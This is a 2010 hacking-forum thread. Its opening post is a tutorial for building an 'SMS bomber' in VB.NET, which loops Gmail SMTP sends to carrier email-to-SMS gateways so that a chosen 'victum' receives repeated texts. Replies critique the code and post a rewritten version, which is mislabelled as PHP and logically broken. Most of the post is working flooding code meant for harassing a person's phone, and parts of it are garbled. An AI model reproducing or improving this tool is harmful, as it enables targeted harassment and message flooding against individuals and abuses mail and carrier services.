Thread: [\[TUT\] SMS Bomber by da n00b](#)

Black and White - July 23, 2010, 10:03 am

SMS Bomber by the n00b

AND YES I FUCKING CODED THIS

What you need.

6 text boxes - one of which must be multi line

1st text box - victum's number

2nd text box - Tittle

3rd text box - Message make this one multi line like so:

Spoiler ([Click to View](#))[img]http://localhostr.com/files/2ec240/multi.jpg[/img]

4th text box - Amount to be sent

5th text box - Gmail user name

6th text box - Gmail Password

1 Combo box - add to items:

Code Virgin Mobile USA

Sprint PCS

AT&T

US Cellular

Nextel

Verizon Wireless

Add like so:

Spoiler ([Click to View](#))[img]http://localhostr.com/files/c7ac6a/set.jpg[/img]

1 button - to bomb the texts

1 label - records amount sent

Should look like this

Spoiler ([Click to View](#))[img]http://localhostr.com/files/1352fe/sms.jpg[/img]

Now for the coding:

At the very top add this:

Code Imports System.Net.Mail Double Click the button and add this:

Code Dim num As Integer = 0

For intLoopIndex = 0 To Convert.ToInt32(TextBox5.Text) 'your text box to enter in the amount of times to send

Dim mail As New MailMessage()

Dim SmtServer As New SmtClient

If (CheckBox1.Checked) Then

SmtServer.Credentials = New Net.NetworkCredential("****", "****") 'your gmail and password

SmtServer.Port = 587

SmtServer.Host = "smtp.gmail.com"

SmtServer.EnableSsl = True

Else

SmtServer.Credentials = New Net.NetworkCredential(TextBox5.Text, TextBox6.Text) 'this is to

enter your own Gmail and pass

```
SmtpServer.Port = 587
```

```
SmtpServer.Host = "smtp.gmail.com"
```

```
SmtpServer.EnableSsl = True
```

```
End If
```

```
If ComboBox1.SelectedItem = "AT&T" Then
```

```
mail.To.Add(TextBox1.Text + "@txt.att.net")
```

```
mail.From = New MailAddress("youre-mail@gmail.com")
```

```
mail.Subject = TextBox2.Text
```

```
mail.Body = ComboBox1.Text 'scroll down bar with carriers make sure to add al names to
```

```
"collection"
```

```
SmtpServer.Send(mail)
```

```
ElseIf ComboBox1.SelectedItem = "Nextel" Then
```

```
mail.To.Add(TextBox1.Text + "@messaging.nextel.com")
```

```
mail.From = New MailAddress("youre-mail@gmail.com")
```

```
mail.Subject = TextBox2.Text
```

```
mail.Body = ComboBox1.Text
```

```
SmtpServer.Send(mail)
```

```
ElseIf ComboBox1.SelectedItem = "Sprint PCS" Then
```

```
mail.To.Add(TextBox1.Text + "@messaging.sprintpcs.com")
```

```
mail.From = New MailAddress("youre-mail@gmail.com")
```

```
mail.Subject = TextBox2.Text
```

```
mail.Body = ComboBox1.Text
```

```
SmtpServer.Send(mail)
```

```
ElseIf ComboBox1.SelectedItem = "US Cellular" Then
```

```
mail.To.Add(TextBox1.Text + "@email.uscc.net")
```

```
mail.From = New MailAddress("youre-mail@gmail.com")
```

```
mail.Subject = TextBox2.Text
```

```
mail.Body = ComboBox1.Text
```

```
SmtpServer.Send(mail)
```

```
ElseIf ComboBox1.SelectedItem = "Virgin Mobile USA" Then
```

```
mail.To.Add(TextBox1.Text + "@vmobl.com")
```

```
mail.From = New MailAddress("youre-mail@gmail.com")
```

```
mail.Subject = TextBox2.Text
```

```
mail.Body = ComboBox1.Text
```

```
SmtpServer.Send(mail)
```

```
End If
```

```
If ComboBox1.SelectedItem = "Verizon Wireless" Then
```

```
mail.To.Add(TextBox1.Text + "@myairmail.com")
```

```
mail.From = New MailAddress("youre-mail@gmail.com")
```

```
mail.Subject = TextBox2.Text
```

```
mail.Body = ComboBox1.Text
```

```
SmtpServer.Send(mail)
```

```
End If
```

```
num = num + 1
```

```
Label1.Text = num 'your still label that shows how many texts sent
```

```
Next intLoopIndex 'loops
```

Now you are done if you have any questions just ask. I may have messed up some where. I made a new project and followed my TUT so it should work.

That is mine try not to get jealous.

Spoiler ([Click to View](http://localhostr.com/files/4c92f9/bomber.jpg))

AND YES I KNOW THERE ARE MORE TUTs, but THIS ONE IS UPDATED AND ACTUALLY WORKS AND IS WELL EXPLAINED SO PLEASE try to be nice.

? List of Providers 100% Credit to Matin.?

Ehm I don't really like your coding style.

Instead of using "If" statments you could use Select Case.

For example:

Code Select Case ComboBox1.Text

Case "Service 1"

Port = 312

SMTP = "smp.address.com"

Case "Service 2"

Port = 415

SMTP = "smp.address.com"

End Select

'then just send sms/e-mail without any additional crap.

Black and White - July 23, 2010, 10:10 am

Loop? Not best solution, BackgroundWorker would do the job.

Black and White - July 23, 2010, 10:19 am

(Jul 23, 2010 10:17 AM)pr3fix Wrote: [\[CITE\]](#) Loop? Not best solution, BackgroundWorker would do the job.It would that is true, but like I said I want to keep it simple enough because loops are easy xD

Black and White - July 23, 2010, 12:30 pm

No thanks yous no I liked it. Only criticism come on guys please just one thank you. I am at least

glad i had no haters as i did write all the code.

DarkY. - July 23, 2010, 12:37 pm

Great job, and thank you for providing this. I may use it in the future. ?

Zer[o] - July 23, 2010, 12:38 pm

cool tut keep em up :P i am working on my own....99% done lol i need 1 fix

DeltaNox - July 23, 2010, 12:45 pm

Like pr3fix said, using a select case is better, it's there to avoid a lot of else if's. Also you could make the code a lot shorter by simply creating a sub and passing the values instead of using the same code that many times.

pr3fix - July 23, 2010, 12:59 pm

Here is fixed version, I was bored so I just rewrote:

PHP Code

<?php

On Error Resume Next

Dim Adds As String = String.Empty

Dim C As Integer = 0

If C = 50 Then

Select Case ComboBox1.Text

Case "AT&T"

Adds = "@txt.att.net"

Case "Nextel"

Adds = "@messaging.nextel.com"

Case "Sprint PCS"

Adds = "@messaging.sprintpcs.com"

Case "US Cellular"

Adds = "@email.uscc.net"

Case "Virgin Mobile USA"

Adds = "@vmobl.com"

Case "Verizon Wireless"

Adds = "@myairmail.com"

End Select

Dim M As New MailMessage

Dim S As New SmtpClient("smtp.gmail.com")

M.To.Add("YourMail@gmail.com" & Adds)

M.From = New MailAddress("YourMail@gmail.com" & Adds)

M.Subject = "Subject of SMS"

M.Body = "SMS's body message"

S.Port = 587

S.Send(M)

C += 1

End If

D??i????™ - July 23, 2010, 1:11 pm

Here are some errors:

http://img831.imageshack.us/img831/6318/ss20100723131154.pngI made the SMS bomber from the TUT and only the TUT I will do it again, but maybe you need to dim as string?

Well I just did it again added 6 text boxes

1 combo box

1 label

1 check box

1 button

0 errors so go and do it again or PM me and I can help :)

Well here is what I did:

MILÄn97 - August 26, 2011, 5:12 am

Hi...

Serbia have:

MTS (Mobilna Telefonija Srbije)

Telenor

VIP

I try to send message from my phone to my mail, and i get mail form

**@mms.telenor.rs

This is mail from MMS..

I need SMS

Are the e-mail the same?

And, when I try to reply, I don't get MMS on my phone...

What is this?
